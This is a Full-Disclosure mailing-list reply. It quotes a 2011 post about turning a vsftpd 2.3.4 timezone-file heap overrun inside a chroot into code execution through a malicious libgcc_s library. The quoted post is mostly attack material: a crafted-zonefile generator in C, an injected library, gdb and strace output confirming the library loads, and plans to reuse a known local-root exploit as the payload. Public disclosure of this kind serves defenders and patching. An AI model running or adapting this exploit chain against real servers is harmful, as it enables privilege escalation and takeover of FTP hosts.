-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 12/13/11 11:50 AM, HI-TECH . wrote: > Hello Lists, Ramon, > > now this is really akward and somewhat dangerous for vsftpd users. > Exploiting the heap overrun is NOT needed in this case. It is much > easier. > > As far as I know when vsftpd crashes due to the heap overrun it > will print out *** glibc detected *** vsftpd: free(): corrupted > unsorted chunks: 0x09b3c220 *** or similar. Now the fun part is > when glibc does that it will continue execution in a code path > which actually LOADS A LIBRARY, WOW! :D Namely /lib/libgcc_s.so.1 > will be loaded.
This seems to be the case to load the interpreter for the dwarf symbols used in exception handling. Best Regards, Rodrigo (BSDaemon). > > gdb backtrace reveals loading of a specific library: > > ---snip--- Program received signal SIGSEGV, Segmentation fault. > 0x00189963 in dl_open_worker () from /lib/ld-linux.so.2 (gdb) bt #0 > 0x00189963 in dl_open_worker () from /lib/ld-linux.so.2 #1 > 0x00185da6 in _dl_catch_error () from /lib/ld-linux.so.2 #2 > 0x001893f2 in _dl_open () from /lib/ld-linux.so.2 #3 0x002a42e2 in > do_dlopen () from /lib/libc.so.6 #4 0x00185da6 in _dl_catch_error > () from /lib/ld-linux.so.2 #5 0x002a4495 in __libc_dlopen_mode () > from /lib/libc.so.6 #6 0x002810f9 in init () from /lib/libc.so.6 > #7 0x00281293 in backtrace () from /lib/libc.so.6 #8 0x001fd2a1 > in __libc_message () from /lib/libc.so.6 #9 0x002055a5 in > _int_free () from /lib/libc.so.6 #10 0x002059e9 in free () from > /lib/libc.so.6 #11 0x001f3c96 in fclose@@GLIBC_2.1 () from > /lib/libc.so.6 #12 0x0022093a in __tzfile_read () from > /lib/libc.so.6 #13 0x0021f872 in tzset_internal () from > /lib/libc.so.6 #14 0x00220119 in __tz_convert () from > /lib/libc.so.6 #15 0x0021e6af in gmtime () from /lib/libc.so.6 #16 > 0x0805a6f0 in geteuid () #17 0x0a0581b0 in ?? () #18 0xbfda67f4 in > ?? () #19 0x00000001 in ?? () ---snip--- > > look at this library: ---snip--- #include <fcntl.h> void _init() { > open("0wned", O_RDWR|O_CREAT, 0777); } ---snip--- > > look at this strace output: ---snip--- 3874 > stat64("/usr/share/zoneinfo/UTC-01:00", {st_mode=S_IFREG|0644, > st_size=544, ...}) = 0 3874 open("/usr/share/zoneinfo/UTC-01:00", > O_RDONLY) = 7 3874 fstat64(7, {st_mode=S_IFREG|0644, st_size=544, > ...}) = 0 3874 fstat64(7, {st_mode=S_IFREG|0644, st_size=544, > ...}) = 0 3874 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, > MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe8000 3874 read(7, > "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., > 4096) = 544 3874 read(7, "", 4096) = 0 3874 > close(7) = 0 3874 munmap(0xb7fe8000, > 4096) = 0 3874 open("/dev/tty", > O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No such file or > directory) 3874 writev(2, [{"*** glibc detected *** ", 23}, > {"vsftpd", 6}, {": ", 2}, {"free(): corrupted unsorted chunk"..., > 33}, {": 0x", 4}, {"09b3c220", 8}, {" ***\n", 5}], 7) = 81 3874 > open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or > directory) 3874 open("/lib/tls/i686/sse2/libgcc_s.so.1", O_RDONLY) > = -1 ENOENT (No such file or directory) 3874 > stat64("/lib/tls/i686/sse2", 0xbfeb711c) = -1 ENOENT (No such file > or directory) 3874 open("/lib/tls/i686/libgcc_s.so.1", O_RDONLY) = > -1 ENOENT (No such file or directory) 3874 stat64("/lib/tls/i686", > 0xbfeb711c) = -1 ENOENT (No such file or directory) 3874 > open("/lib/tls/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such > file or directory) 3874 stat64("/lib/tls/sse2", 0xbfeb711c) = -1 > ENOENT (No such file or directory) 3874 > open("/lib/tls/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such file > or directory) 3874 stat64("/lib/tls", 0xbfeb711c) = -1 ENOENT > (No such file or directory) 3874 > open("/lib/i686/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such > file or directory) 3874 stat64("/lib/i686/sse2", 0xbfeb711c) = -1 > ENOENT (No such file or directory) 3874 > open("/lib/i686/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such file > or directory) 3874 stat64("/lib/i686", 0xbfeb711c) = -1 ENOENT > (No such file or directory) 3874 open("/lib/sse2/libgcc_s.so.1", > O_RDONLY) = -1 ENOENT (No such file or directory) 3874 > stat64("/lib/sse2", 0xbfeb711c) = -1 ENOENT (No such file or > directory) 3874 open("/lib/libgcc_s.so.1", O_RDONLY) = 7 3874 > read(7, > "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0"..., > > 512) = 512 > 3874 open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No > such file or directory) 3874 writev(2, [{"*** glibc detected *** > ", 23}, {"vsftpd", 6}, {": ", 2}, {"malloc(): memory corruption > (fas"..., 34}, {": 0x", 4}, {"09b36828", 8}, {" ***\n", 5}], 7) = > 82 3874 open("/lib/libgcc_s.so.1", O_RDONLY) = 8 3874 read(8, > "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0"..., > > 512) = 512 > 3874 mmap2(NULL, 2097152, PROT_NONE, > MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) = 0xb7de4000 3874 > munmap(0xb7de4000, 114688) = 0 3874 munmap(0xb7f00000, > 933888) = 0 3874 mprotect(0xb7e00000, 135168, > PROT_READ|PROT_WRITE) = 0 3874 fstat64(8, {st_mode=S_IFREG|0755, > st_size=2011, ...}) = 0 3874 mmap2(NULL, 4824, > PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 8, 0) = 0x95f000 > 3874 mmap2(0x960000, 4096, PROT_READ|PROT_WRITE, > MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0) = 0x960000 3874 > close(8) = 0 3874 open("0wned", > O_RDWR|O_CREAT, 0777) = 8 3874 rt_sigprocmask(SIG_UNBLOCK, [ABRT], > NULL, 8) = 0 3874 gettid() = 3874 3874 > tgkill(3874, 3874, SIGABRT) = 0 3874 --- SIGABRT (Aborted) @ > 0 (0) --- ---snip--- > > as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside > the chroot, so voila we have the same issue as with FreeBSD > ftpd/proftpd. I am now looking into the possibility to modify > http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c > > and use as the library. It will be a fun Proof of Concept. > > Anyone with an up2date linux local root which only makes use of > syscalls? :> > > All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was > compiled from sources and launched from xinetd. The zonefile which > triggers the library load is attached. > > Regards > > /Kingcope > > > #include <stdio.h> #include <stdint.h> #include <time.h> #include > <string.h> #define TZ_MAGIC "TZif" #define PUT_32BIT_MSB(cp, value) > \ do { \ (cp)[0] = (value) >> 24; \ (cp)[1] = (value) >> 16; \ > (cp)[2] = (value) >> 8; \ (cp)[3] = (value); \ } while (0) struct > tzhead { char tzh_magic[4]; char tzh_version[1]; char > tzh_reserved[15]; char tzh_ttisgmtcnt[4]; char tzh_ttisstdcnt[4]; > char tzh_leapcnt[4]; char tzh_timecnt[4]; char tzh_typecnt[4]; char > tzh_charcnt[4]; }; struct ttinfo { long int offset; unsigned char > isdst; unsigned char idx; unsigned char isstd; unsigned char > isgmt; }; int main(void) { struct tzhead evil; int i; char *p; > uint32_t total_size; uint32_t evil1, evil2; /* Initialize static > part of the header */ memcpy(evil.tzh_magic, TZ_MAGIC, > sizeof(TZ_MAGIC) - 1); evil.tzh_version[0] = 0; > memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved)); > memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt)); > memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt)); > memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt)); > memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt)); /* > Initialize nasty part of the header */ evil1 = 500; > PUT_32BIT_MSB(evil.tzh_timecnt, evil1); total_size = evil1 * > (sizeof(time_t) + 1); total_size = ((total_size + __alignof__ > (struct ttinfo) - 1) & ~(__alignof__ (struct ttinfo) - 1)); /* > value of chars, to get a malloc(0) */ evil2 = 0 - total_size; > PUT_32BIT_MSB(evil.tzh_charcnt, evil2); p = (char *)&evil; for (i = > 0; i < sizeof(evil); i++) printf("%c", p[i]); /* data we overflow > with */ for (i = 0; i < 500; i++) printf("A"); } > > _______________________________________________ Full-Disclosure - > We believe in it. Charter: > http://lists.grok.org.uk/full-disclosure-charter.html Hosted and > sponsored by Secunia - http://secunia.com/ -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.17 (Darwin) Comment: GPGTools - http://gpgtools.org Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk7rndsACgkQRpuC3B/O3qEMbQCePR8Pr0n83hQYYQNTFtnQqZjJ eKkAnRMhxdMGk0nmLMVpTB7u29Uv+fJT =FCwk -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/